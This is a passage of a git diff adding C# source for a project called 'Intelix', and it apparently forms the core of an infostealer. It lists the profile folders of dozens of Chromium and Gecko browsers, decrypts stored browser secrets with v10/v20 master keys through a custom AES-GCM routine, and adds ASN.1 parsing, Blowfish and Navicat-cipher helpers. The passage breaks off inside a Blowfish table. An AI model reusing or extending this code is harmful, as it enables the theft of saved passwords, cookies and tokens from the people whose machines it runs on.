Data", + localappdata + "\\Torch\\User Data", + localappdata + "\\CryptoTab Browser", + localappdata + "\\Comodo\\User Data", + localappdata + "\\Kometa\\User Data", + localappdata + "\\liebao\\User Data", + localappdata + "\\Chedot\\User Data", + localappdata + "\\K-Melon\\User Data", + localappdata + "\\Orbitum\\User Data", + localappdata + "\\Vivaldi\\User Data", + localappdata + "\\Slimjet\\User Data", + localappdata + "\\Iridium\\User Data", + localappdata + "\\Maxthon\\User Data", + localappdata + "\\Maxthon3\\User Data", + localappdata + "\\Nichrome\\User Data", + localappdata + "\\Chromodo\\User Data", + localappdata + "\\QIP Surf\\User Data", + localappdata + "\\Chromium\\User Data", + localappdata + "\\BitTorrent\\Maelstrom", + localappdata + "\\Globus VPN\\User Data", + localappdata + "\\CentBrowser\\User Data", + localappdata + "\\Amigo\\User\\User Data", + localappdata + "\\MapleStudio\\ChromePlus", + localappdata + "\\7Star\\7Star\\User Data", + localappdata + "\\Mail.Ru\\Atom\\User Data", + localappdata + "\\Comodo\\Dragon\\User Data", + localappdata + "\\UCBrowser\\User Data_i18n", + localappdata + "\\Google\\Chrome\\User Data", + localappdata + "\\Coowon\\Coowon\\User Data", + localappdata + "\\CocCoc\\Browser\\User Data", + localappdata + "\\AOL\\AOL Shield\\User Data", + localappdata + "\\Microsoft\\Edge\\User Data", + localappdata + "\\uCozMedia\\Uran\\User Data", + localappdata + "\\Element Browser\\User Data", + localappdata + "\\Sputnik\\Sputnik\\User Data", + localappdata + "\\Elements Browser\\User Data", + localappdata + "\\CCleaner Browser\\User Data", + localappdata + "\\360Chrome\\Chrome\\User Data", + localappdata + "\\Tencent\\QQBrowser\\User Data", + localappdata + "\\Naver\\Naver Whale\\User Data", + localappdata + "\\Baidu\\BaiduBrowser\\User Data", + localappdata + "\\360Browser\\Browser\\User Data", + localappdata + "\\Google(x86)\\Chrome\\User Data", + localappdata + "\\Epic Privacy Browser\\User Data", + localappdata + "\\CatalinaGroup\\Citrio\\User Data", + localappdata + "\\Yandex\\YandexBrowser\\User Data", + localappdata + "\\MapleStudio\\ChromePlus\\User Data", + localappdata + "\\AVAST Software\\Browser\\User Data", + localappdata + "\\BraveSoftware\\Brave-Browser\\User Data", + localappdata + "\\NVIDIA Corporation\\NVIDIA GeForce Experience", + localappdata + "\\BraveSoftware\\Brave-Browser-Nightly\\User Data", + localappdata + "\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer" + }; + + public static string[] Gecko = new string[18] + { + appdata + "\\Mozilla\\Firefox\\Profiles", + appdata + "\\Waterfox\\Profiles", + appdata + "\\K-Meleon\\Profiles", + appdata + "\\Thunderbird\\Profiles", + appdata + "\\Comodo\\IceDragon\\Profiles", + appdata + "\\8pecxstudios\\Cyberfox\\Profiles", + appdata + "\\NETGATE Technologies\\BlackHaw\\Profiles", + appdata + "\\Moonchild Productions\\Pale Moon\\Profiles", + appdata + "\\Ghostery Browser\\Profiles", + appdata + "\\Undetectable\\Profiles", + appdata + "\\Sielo\\profiles", + appdata + "\\Waterfox\\Profiles", + appdata + "\\conkeror.mozdev.org\\conkeror\\Profiles", + appdata + "\\Netscape\\Navigator\\Profiles", + appdata + "\\Mozilla\\SeaMonkey\\Profiles", + appdata + "\\FlashPeak\\SlimBrowser\\Profiles", + appdata + "\\Avant Profiles", + appdata + "\\Flock\\Profiles" + }; + + public static string GetBrowserName(string path) + { + string[] array = path.Split(Path.DirectorySeparatorChar); + if (path.Contains("Opera")) + { + return array[6].Replace(" Stable", ""); + } + return array[5]; + } +} diff --git a/Intelix.Helper.Encrypted/._Blowfish.cs b/Intelix.Helper.Encrypted/._Blowfish.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper.Encrypted/._Blowfish.cs differ diff --git a/Intelix.Helper.Encrypted/._ChaCha20Poly1305.cs b/Intelix.Helper.Encrypted/._ChaCha20Poly1305.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper.Encrypted/._ChaCha20Poly1305.cs differ diff --git a/Intelix.Helper.Encrypted/._CngDecryptor.cs b/Intelix.Helper.Encrypted/._CngDecryptor.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper.Encrypted/._CngDecryptor.cs differ diff --git a/Intelix.Helper.Encrypted/._LocalEncryptor.cs b/Intelix.Helper.Encrypted/._LocalEncryptor.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper.Encrypted/._LocalEncryptor.cs differ diff --git a/Intelix.Helper.Encrypted/._LocalState.cs b/Intelix.Helper.Encrypted/._LocalState.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper.Encrypted/._LocalState.cs differ diff --git a/Intelix.Helper.Encrypted/._Navicat11Cipher.cs b/Intelix.Helper.Encrypted/._Navicat11Cipher.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper.Encrypted/._Navicat11Cipher.cs differ diff --git a/Intelix.Helper.Encrypted/._Xor.cs b/Intelix.Helper.Encrypted/._Xor.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper.Encrypted/._Xor.cs differ diff --git a/Intelix.Helper.Encrypted/AesGcm.cs b/Intelix.Helper.Encrypted/AesGcm.cs new file mode 100644 index 0000000..07f36bd --- /dev/null +++ b/Intelix.Helper.Encrypted/AesGcm.cs @@ -0,0 +1,99 @@ +using System; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public static class AesGcm +{ + private const int MacBitSize = 128; + + private const int NonceBitSize = 96; + + private const int TagBytes = 16; + + private const int NonceBytes = 12; + + private const int HeaderBytes = 3; + + public static byte[] DecryptBrowser(byte[] encryptedData, byte[] masterKey10, byte[] masterKey20, bool checkprefix) + { + if (encryptedData.Length < 31) + { + return null; + } + string text = Encoding.ASCII.GetString(encryptedData, 0, 3); + byte[] array = new byte[12]; + Buffer.BlockCopy(encryptedData, 3, array, 0, 12); + int num = 15; + int num2 = encryptedData.Length - num - 16; + if (num2 < 0) + { + return null; + } + byte[] array2 = new byte[num2]; + if (num2 > 0) + { + Buffer.BlockCopy(encryptedData, num, array2, 0, num2); + } + byte[] array3 = new byte[16]; + Buffer.BlockCopy(encryptedData, encryptedData.Length - 16, array3, 0, 16); + byte[] array4 = ((text == "v20") ? masterKey20 : ((text == "v10") ? masterKey10 : null)); + if (array4 == null) + { + return null; + } + byte[] array5 = AesGcm256.Decrypt(array4, array, null, array2, array3); + if (array5 == null) + { + return null; + } + if (checkprefix && HasPrefix(array5)) + { + if (array5.Length <= 32) + { + return array5; + } + int num3 = 0; + for (int i = 0; i < 32; i++) + { + byte b = array5[i]; + if (b >= 32 && b <= 126) + { + num3++; + } + if (num3 > 2) + { + break; + } + } + if (num3 > 2) + { + if (array5.Length <= 32) + { + return new byte[0]; + } + byte[] array6 = new byte[array5.Length - 32]; + Array.Copy(array5, 32, array6, 0, array6.Length); + return array6; + } + } + return array5; + } + + private static bool HasPrefix(byte[] plainText) + { + if (plainText.Length < 32) + { + return false; + } + int num = 0; + for (int i = 0; i < 32; i++) + { + if (plainText[i] >= 32 && plainText[i] <= 126) + { + num++; + } + } + return num > 2; + } +} diff --git a/Intelix.Helper.Encrypted/AesGcm256.cs b/Intelix.Helper.Encrypted/AesGcm256.cs new file mode 100644 index 0000000..e2724f6 --- /dev/null +++ b/Intelix.Helper.Encrypted/AesGcm256.cs @@ -0,0 +1,383 @@ +using System; + +namespace Intelix.Helper.Encrypted; + +public class AesGcm256 +{ + private static readonly byte[] SBox = new byte[256] + { + 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, + 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, + 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, + 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, + 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, + 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, + 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, + 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, + 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, + 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, + 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, + 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, + 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, + 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, + 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, + 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, + 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, + 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, + 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, + 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, + 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, + 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, + 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, + 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, + 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, + 45, 15, 176, 84, 187, 22 + }; + + private static readonly byte[] Rcon = new byte[256] + { + 0, 1, 2, 4, 8, 16, 32, 64, 128, 27, + 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, + 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, + 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, + 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, + 203, 141, 1, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0 + }; + + private byte[] Key; + + private byte[,] RoundKeys; + + public AesGcm256(byte[] key) + { + if (key.Length != 32) + { + throw new ArgumentException("Key length must be 256 bits."); + } + Key = new byte[32]; + Array.Copy(key, Key, 32); + KeyExpansion(); + } + + public static byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag) + { + return new AesGcm256(key).Decrypt(cipherText, authTag, iv, aad); + } + + private void KeyExpansion() + { + int num = 8; + int num2 = 4; + int num3 = 14; + RoundKeys = new byte[num2 * (num3 + 1), 4]; + for (int i = 0; i < num; i++) + { + RoundKeys[i, 0] = Key[4 * i]; + RoundKeys[i, 1] = Key[4 * i + 1]; + RoundKeys[i, 2] = Key[4 * i + 2]; + RoundKeys[i, 3] = Key[4 * i + 3]; + } + byte[] array = new byte[4]; + for (int j = num; j < num2 * (num3 + 1); j++) + { + array[0] = RoundKeys[j - 1, 0]; + array[1] = RoundKeys[j - 1, 1]; + array[2] = RoundKeys[j - 1, 2]; + array[3] = RoundKeys[j - 1, 3]; + if (j % num == 0) + { + byte b = array[0]; + array[0] = array[1]; + array[1] = array[2]; + array[2] = array[3]; + array[3] = b; + array[0] = SBox[array[0]]; + array[1] = SBox[array[1]]; + array[2] = SBox[array[2]]; + array[3] = SBox[array[3]]; + array[0] ^= Rcon[j / num]; + } + else if (num > 6 && j % num == 4) + { + array[0] = SBox[array[0]]; + array[1] = SBox[array[1]]; + array[2] = SBox[array[2]]; + array[3] = SBox[array[3]]; + } + RoundKeys[j, 0] = (byte)(RoundKeys[j - num, 0] ^ array[0]); + RoundKeys[j, 1] = (byte)(RoundKeys[j - num, 1] ^ array[1]); + RoundKeys[j, 2] = (byte)(RoundKeys[j - num, 2] ^ array[2]); + RoundKeys[j, 3] = (byte)(RoundKeys[j - num, 3] ^ array[3]); + } + } + + private void AddRoundKey(byte[,] state, int round) + { + for (int i = 0; i < 4; i++) + { + for (int j = 0; j < 4; j++) + { + state[j, i] ^= RoundKeys[round * 4 + i, j]; + } + } + } + + private void SubBytes(byte[,] state) + { + for (int i = 0; i < 4; i++) + { + for (int j = 0; j < 4; j++) + { + state[i, j] = SBox[state[i, j]]; + } + } + } + + private void ShiftRows(byte[,] state) + { + byte b = state[1, 0]; + state[1, 0] = state[1, 1]; + state[1, 1] = state[1, 2]; + state[1, 2] = state[1, 3]; + state[1, 3] = b; + b = state[2, 0]; + state[2, 0] = state[2, 2]; + state[2, 2] = b; + b = state[2, 1]; + state[2, 1] = state[2, 3]; + state[2, 3] = b; + b = state[3, 3]; + state[3, 3] = state[3, 2]; + state[3, 2] = state[3, 1]; + state[3, 1] = state[3, 0]; + state[3, 0] = b; + } + + private void MixColumns(byte[,] state) + { + byte[] array = new byte[4]; + for (int i = 0; i < 4; i++) + { + array[0] = (byte)(GFMultiply(2, state[0, i]) ^ GFMultiply(3, state[1, i]) ^ state[2, i] ^ state[3, i]); + array[1] = (byte)(state[0, i] ^ GFMultiply(2, state[1, i]) ^ GFMultiply(3, state[2, i]) ^ state[3, i]); + array[2] = (byte)(state[0, i] ^ state[1, i] ^ GFMultiply(2, state[2, i]) ^ GFMultiply(3, state[3, i])); + array[3] = (byte)(GFMultiply(3, state[0, i]) ^ state[1, i] ^ state[2, i] ^ GFMultiply(2, state[3, i])); + state[0, i] = array[0]; + state[1, i] = array[1]; + state[2, i] = array[2]; + state[3, i] = array[3]; + } + } + + private byte GFMultiply(byte a, byte b) + { + byte b2 = 0; + for (int i = 0; i < 8; i++) + { + if ((b & 1) != 0) + { + b2 ^= a; + } + bool num = (a & 0x80) != 0; + a <<= 1; + if (num) + { + a ^= 0x1B; + } + b >>= 1; + } + return b2; + } + + private void EncryptBlock(byte[] input, byte[] output) + { + int num = 4; + int num2 = 14; + byte[,] array = new byte[4, num]; + for (int i = 0; i < 16; i++) + { + array[i % 4, i / 4] = input[i]; + } + AddRoundKey(array, 0); + for (int j = 1; j <= num2 - 1; j++) + { + SubBytes(array); + ShiftRows(array); + MixColumns(array); + AddRoundKey(array, j); + } + SubBytes(array); + ShiftRows(array); + AddRoundKey(array, num2); + for (int k = 0; k < 16; k++) + { + output[k] = array[k % 4, k / 4]; + } + } + + private byte[] GF128Multiply(byte[] X, byte[] Y) + { + byte[] array = new byte[16]; + byte[] array2 = new byte[16]; + Array.Copy(Y, array2, 16); + for (int i = 0; i < 128; i++) + { + if (((X[i / 8] >> 7 - i % 8) & 1) == 1) + { + for (int j = 0; j < 16; j++) + { + array[j] ^= array2[j]; + } + } + bool flag = (array2[15] & 1) == 1; + for (int num = 15; num >= 0; num--) + { + array2[num] = (byte)((array2[num] >> 1) | (((num > 0) ? array2[num - 1] : 0) << 7)); + } + if (flag) + { + array2[0] ^= 225; + } + } + return array; + } + + private byte[] GHASH(byte[] H, byte[] A, byte[] C) + { + _ = (A.Length + 15) / 16; + _ = (C.Length + 15) / 16; + byte[] array = new byte[16]; + byte[] array2 = new byte[16]; + byte[] array3 = new byte[16]; + int num; + for (int i = 0; i < A.Length; i += num) + { + Array.Clear(array3, 0, 16); + num = Math.Min(16, A.Length - i); + Array.Copy(A, i, array3, 0, num); + for (int j = 0; j < 16; j++) + { + array2[j] = (byte)(array[j] ^ array3[j]); + } + array = GF128Multiply(array2, H); + } + int num2; + for (int i = 0; i < C.Length; i += num2) + { + Array.Clear(array3, 0, 16); + num2 = Math.Min(16, C.Length - i); + Array.Copy(C, i, array3, 0, num2); + for (int k = 0; k < 16; k++) + { + array2[k] = (byte)(array[k] ^ array3[k]); + } + array = GF128Multiply(array2, H); + } + byte[] array4 = new byte[16]; + ulong num3 = (ulong)A.Length * 8uL; + ulong num4 = (ulong)C.Length * 8uL; + for (int l = 0; l < 8; l++) + { + array4[7 - l] = (byte)(num3 >> l * 8); + array4[15 - l] = (byte)(num4 >> l * 8); + } + for (int m = 0; m < 16; m++) + { + array2[m] = (byte)(array[m] ^ array4[m]); + } + return GF128Multiply(array2, H); + } + + private void IncrementCounter(byte[] counterBlock) + { + int num = 15; + while (num >= 12 && ++counterBlock[num] == 0) + { + num--; + } + } + + public byte[] Decrypt(byte[] ciphertext, byte[] tag, byte[] iv, byte[] aad) + { + if (aad == null) + { + aad = new byte[0]; + } + byte[] array = new byte[16]; + EncryptBlock(new byte[16], array); + byte[] array2 = new byte[16]; + if (iv.Length == 12) + { + Array.Copy(iv, 0, array2, 0, 12); + array2[15] = 1; + } + else + { + array2 = GHASH(array, null, iv); + } + byte[] array3 = new byte[ciphertext.Length]; + byte[] array4 = new byte[16]; + Array.Copy(array2, array4, 16); + int num = ciphertext.Length / 16; + int num2 = ciphertext.Length % 16; + int num3 = ((num2 == 0) ? num : (num + 1)); + for (int i = 0; i < num3; i++) + { + IncrementCounter(array4); + byte[] array5 = new byte[16]; + EncryptBlock(array4, array5); + int num4 = ((i < num) ? 16 : num2); + for (int j = 0; j < num4; j++) + { + array3[i * 16 + j] = (byte)(ciphertext[i * 16 + j] ^ array5[j]); + } + } + byte[] array6 = GHASH(array, aad, ciphertext); + byte[] array7 = new byte[16]; + EncryptBlock(array2, array7); + byte[] array8 = new byte[16]; + for (int k = 0; k < 16; k++) + { + array8[k] = (byte)(array7[k] ^ array6[k]); + } + if (!VerifyTag(tag, array8)) + { + throw new Exception("Authentication tag does not match. Decryption failed."); + } + return array3; + } + + private bool VerifyTag(byte[] tag1, byte[] tag2) + { + if (tag1.Length != tag2.Length) + { + return false; + } + int num = 0; + for (int i = 0; i < tag1.Length; i++) + { + num |= tag1[i] ^ tag2[i]; + } + return num == 0; + } +} diff --git a/Intelix.Helper.Encrypted/Asn1Der.cs b/Intelix.Helper.Encrypted/Asn1Der.cs new file mode 100644 index 0000000..5257a0e --- /dev/null +++ b/Intelix.Helper.Encrypted/Asn1Der.cs @@ -0,0 +1,95 @@ +using System; + +namespace Intelix.Helper.Encrypted; + +public class Asn1Der +{ + public enum Type + { + Sequence = 48, + Integer = 2, + OctetString = 4, + ObjectIdentifier = 6 + } + + public Asn1DerObject Parse(byte[] toParse) + { + Asn1DerObject asn1DerObject = new Asn1DerObject(); + for (int i = 0; i < toParse.Length; i++) + { + switch ((Type)toParse[i]) + { + case Type.Sequence: + { + byte[] array; + if (asn1DerObject.Lenght == 0) + { + asn1DerObject.Type = Type.Sequence; + asn1DerObject.Lenght = toParse.Length - (i + 2); + array = new byte[asn1DerObject.Lenght]; + } + else + { + asn1DerObject.Objects.Add(new Asn1DerObject + { + Type = Type.Sequence, + Lenght = toParse[i + 1] + }); + array = new byte[toParse[i + 1]]; + } + int length = ((array.Length > toParse.Length - (i + 2)) ? (toParse.Length - (i + 2)) : array.Length); + Array.Copy(toParse, i + 2, array, 0, length); + asn1DerObject.Objects.Add(Parse(array)); + i = i + 1 + toParse[i + 1]; + break; + } + case Type.Integer: + { + asn1DerObject.Objects.Add(new Asn1DerObject + { + Type = Type.Integer, + Lenght = toParse[i + 1] + }); + byte[] array = new byte[toParse[i + 1]]; + int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]); + Array.Copy(toParse, i + 2, array, 0, length); + Asn1DerObject[] array3 = asn1DerObject.Objects.ToArray(); + asn1DerObject.Objects[array3.Length - 1].Data = array; + i = i + 1 + asn1DerObject.Objects[array3.Length - 1].Lenght; + break; + } + case Type.OctetString: + { + asn1DerObject.Objects.Add(new Asn1DerObject + { + Type = Type.OctetString, + Lenght = toParse[i + 1] + }); + byte[] array = new byte[toParse[i + 1]]; + int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]); + Array.Copy(toParse, i + 2, array, 0, length); + Asn1DerObject[] array4 = asn1DerObject.Objects.ToArray(); + asn1DerObject.Objects[array4.Length - 1].Data = array; + i = i + 1 + asn1DerObject.Objects[array4.Length - 1].Lenght; + break; + } + case Type.ObjectIdentifier: + { + asn1DerObject.Objects.Add(new Asn1DerObject + { + Type = Type.ObjectIdentifier, + Lenght = toParse[i + 1] + }); + byte[] array = new byte[toParse[i + 1]]; + int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]); + Array.Copy(toParse, i + 2, array, 0, length); + Asn1DerObject[] array2 = asn1DerObject.Objects.ToArray(); + asn1DerObject.Objects[array2.Length - 1].Data = array; + i = i + 1 + asn1DerObject.Objects[array2.Length - 1].Lenght; + break; + } + } + } + return asn1DerObject; + } +} diff --git a/Intelix.Helper.Encrypted/Asn1DerObject.cs b/Intelix.Helper.Encrypted/Asn1DerObject.cs new file mode 100644 index 0000000..1b78c93 --- /dev/null +++ b/Intelix.Helper.Encrypted/Asn1DerObject.cs @@ -0,0 +1,71 @@ +using System.Collections.Generic; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public class Asn1DerObject +{ + public Asn1Der.Type Type { get; set; } + + public int Lenght { get; set; } + + public List Objects { get; } + + public byte[] Data { get; set; } + + public Asn1DerObject() + { + Objects = new List(); + } + + public override string ToString() + { + StringBuilder stringBuilder = new StringBuilder(); + StringBuilder stringBuilder2 = new StringBuilder(); + switch (Type) + { + case Asn1Der.Type.Sequence: + stringBuilder.AppendLine("SEQUENCE {"); + break; + case Asn1Der.Type.Integer: + { + byte[] data = Data; + foreach (byte b3 in data) + { + stringBuilder2.AppendFormat("{0:X2}", b3); + } + stringBuilder.AppendLine("\tINTEGER " + stringBuilder2); + break; + } + case Asn1Der.Type.OctetString: + { + byte[] data = Data; + foreach (byte b2 in data) + { + stringBuilder2.AppendFormat("{0:X2}", b2); + } + stringBuilder.AppendLine("\tOCTETSTRING " + stringBuilder2); + break; + } + case Asn1Der.Type.ObjectIdentifier: + { + byte[] data = Data; + foreach (byte b in data) + { + stringBuilder2.AppendFormat("{0:X2}", b); + } + stringBuilder.AppendLine("\tOBJECTIDENTIFIER " + stringBuilder2); + break; + } + } + foreach (Asn1DerObject @object in Objects) + { + stringBuilder.Append(@object); + } + if (Type.Equals(Asn1Der.Type.Sequence)) + { + stringBuilder.AppendLine("}"); + } + return stringBuilder.ToString(); + } +} diff --git a/Intelix.Helper.Encrypted/Blowfish.cs b/Intelix.Helper.Encrypted/Blowfish.cs new file mode 100644 index 0000000..fea71ff --- /dev/null +++ b/Intelix.Helper.Encrypted/Blowfish.cs @@ -0,0 +1,311 @@ +using System; + +namespace Intelix.Helper.Encrypted; + +public class Blowfish +{ + public enum Endian + { + Little, + Big + } + + public readonly int MinUserKeyLength = 1; + + public readonly int MaxUserKeyLength = 56; + + public readonly int BlockSize = 8; + + private readonly uint[] OriginPBox = new uint[18] + { + 608135816u, 2242054355u, 320440878u, 57701188u, 2752067618u, 698298832u, 137296536u, 3964562569u, 1160258022u, 953160567u, + 3193202383u, 887688300u, 3232508343u, 3380367581u, 1065670069u, 3041331479u, 2450970073u, 2306472731u + }; + + private readonly uint[,] OriginSBox = new uint[4, 256] + { + { + 3509652390u, 2564797868u, 805139163u, 3491422135u, 3101798381u, 1780907670u, 3128725573u, 4046225305u, 614570311u, 3012652279u, + 134345442u, 2240740374u, 1667834072u, 1901547113u, 2757295779u, 4103290238u, 227898511u, 1921955416u, 1904987480u, 2182433518u, + 2069144605u, 3260701109u, 2620446009u, 720527379u, 3318853667u, 677414384u, 3393288472u, 3101374703u, 2390351024u, 1614419982u, + 1822297739u, 2954791486u, 3608508353u, 3174124327u, 2024746970u, 1432378464u, 3864339955u, 2857741204u, 1464375394u, 1676153920u, + 1439316330u, 715854006u, 3033291828u, 289532110u, 2706671279u, 2087905683u, 3018724369u, 1668267050u, 732546397u, 1947742710u, + 3462151702u, 2609353502u, 2950085171u, 1814351708u, 2050118529u, 680887927u, 999245976u, 1800124847u, 3300911131u, 1713906067u, + 1641548236u, 4213287313u, 1216130144u, 1575780402u, 4018429277u, 3917837745u, 3693486850u, 3949271944u, 596196993u, 3549867205u, + 258830323u, 2213823033u, 772490370u, 2760122372u, 1774776394u, 2652871518u, 566650946u, 4142492826u, 1728879713u, 2882767088u, + 1783734482u, 3629395816u, 2517608232u, 2874225571u, 1861159788u, 326777828u, 3124490320u, 2130389656u, 2716951837u, 967770486u, + 1724537150u, 2185432712u, 2364442137u, 1164943284u, 2105845187u, 998989502u, 3765401048u, 2244026483u, 1075463327u, 1455516326u, + 1322494562u, 910128902u, 469688178u, 1117454909u, 936433444u, 3490320968u, 3675253459u, 1240580251u, 122909385u, 2157517691u, + 634681816u, 4142456567u, 3825094682u, 3061402683u, 2540495037u, 79693498u, 3249098678u, 1084186820u, 1583128258u, 426386531u, + 1761308591u, 1047286709u, 322548459u, 995290223u, 1845252383u, 2603652396u, 3431023940u, 2942221577u, 3202600964u, 3727903485u, + 1712269319u, 422464435u, 3234572375u, 1170764815u, 3523960633u, 3117677531u, 1434042557u, 442511882u, 3600875718u, 1076654713u, + 1738483198u, 4213154764u, 2393238008u, 3677496056u, 1014306527u, 4251020053u, 793779912u, 2902807211u, 842905082u, 4246964064u, + 1395751752u, 1040244610u, 2656851899u, 3396308128u, 445077038u, 3742853595u, 3577915638u, 679411651u, 2892444358u, 2354009459u, + 1767581616u, 3150600392u, 3791627101u, 3102740896u, 284835224u, 4246832056u, 1258075500u, 768725851u, 2589189241u, 3069724005u, + 3532540348u, 1274779536u, 3789419226u, 2764799539u, 1660621633u, 3471099624u, 4011903706u, 913787905u, 3497959166u, 737222580u, + 2514213453u, 2928710040u, 3937242737u, 1804850592u, 3499020752u, 2949064160u, 2386320175u, 2390070455u, 2415321851u, 4061277028u, + 2290661394u, 2416832540u, 1336762016u, 1754252060u, 3520065937u, 3014181293u, 791618072u, 3188594551u, 3933548030u, 2332172193u, + 3852520463u, 3043980520u, 413987798u, 3465142937u, 3030929376u, 4245938359u, 2093235073u, 3534596313u, 375366246u, 2157278981u, + 2479649556u, 555357303u, 3870105701u, 2008414854u, 3344188149u, 4221384143u, 3956125452u, 2067696032u, 3594591187u, 2921233993u, + 2428461u, 544322398u, 577241275u, 1471733935u, 610547355u, 4027169054u, 1432588573u, 1507829418u, 2025931657u, 3646575487u, + 545086370u, 48609733u, 2200306550u, 1653985193u, 298326376u, 1316178497u, 3007786442u, 2064951626u, 458293330u, 2589141269u, + 3591329599u, 3164325604u, 727753846u, 2179363840u, 146436021u, 1461446943u, 4069977195u, 705550613u, 3059967265u, 3887724982u, + 4281599278u, 3313849956u, 1404054877u, 2845806497u, 146425753u, 1854211946u + }, + { + 1266315497u, 3048417604u, 3681880366u, 3289982499u, 2909710000u, 1235738493u, 2632868024u, 2414719590u, 3970600049u, 1771706367u, + 1449415276u, 3266420449u, 422970021u, 1963543593u, 2690192192u, 3826793022u, 1062508698u, 1531092325u, 1804592342u, 2583117782u, + 2714934279u, 4024971509u, 1294809318u, 4028980673u, 1289560198u, 2221992742u, 1669523910u, 35572830u, 157838143u, 1052438473u, + 1016535060u, 1802137761u, 1753167236u, 1386275462u, 3080475397u, 2857371447u, 1040679964u, 2145300060u, 2390574316u, 1461121720u, + 2956646967u, 4031777805u, 4028374788u, 33600511u, 2920084762u, 1018524850u, 629373528u, 3691585981u, 3515945977u, 2091462646u, + 2486323059u, 586499841u, 988145025u, 935516892u, 3367335476u, 2599673255u, 2839830854u, 265290510u, 3972581182u, 2759138881u, + 3795373465u, 1005194799u, 847297441u, 406762289u, 1314163512u, 1332590856u, 1866599683u, 4127851711u, 750260880u, 613907577u, + 1450815602u, 3165620655u, 3734664991u, 3650291728u, 3012275730u, 3704569646u, 1427272223u, 778793252u, 1343938022u, 2676280711u, + 2052605720u, 1946737175u, 3164576444u, 3914038668u, 3967478842u, 3682934266u, 1661551462u, 3294938066u, 4011595847u, 840292616u, + 3712170807u, 616741398u, 312560963u, 711312465u, 1351876610u, 322626781u, 1910503582u, 271666773u, 2175563734u, 1594956187u, + 70604529u, 3617834859u, 1007753275u, 1495573769u, 4069517037u, 2549218298u, 2663038764u, 504708206u, 2263041392u, 3941167025u, + 2249088522u, 1514023603u, 1998579484u, 1312622330u, 694541497u, 2582060303u, 2151582166u, 1382467621u, 776784248u, 2618340202u, + 3323268794u, 2497899128u, 2784771155u, 503983604u, 4076293799u, 907881277u, 423175695u, 432175456u, 1378068232u, 4145222326u, + 3954048622u, 3938656102u, 3820766613u, 2793130115u, 2977904593u, 26017576u, 3274890735u, 3194772133u, 1700274565u, 1756076034u, + 4006520079u, 3677328699u, 720338349u, 1533947780u, 354530856u, 688349552u, 3973924725u, 1637815568u, 332179504u, 3949051286u, + 53804574u, 2852348879u, 3044236432u, 1282449977u, 3583942155u, 3416972820u, 4006381244u, 1617046695u, 2628476075u, 3002303598u, + 1686838959u, 431878346u, 2686675385u, 1700445008u, 1080580658u, 1009431731u, 832498133u, 3223435511u, 2605976345u, 2271191193u, + 2516031870u, 1648197032u, 4164389018u, 2548247927u, 300782431u, 375919233u, 238389289u, 3353747414u, 2531188641u, 2019080857u, + 1475708069u, 455242339u, 2609103871u, 448939670u, 3451063019u, 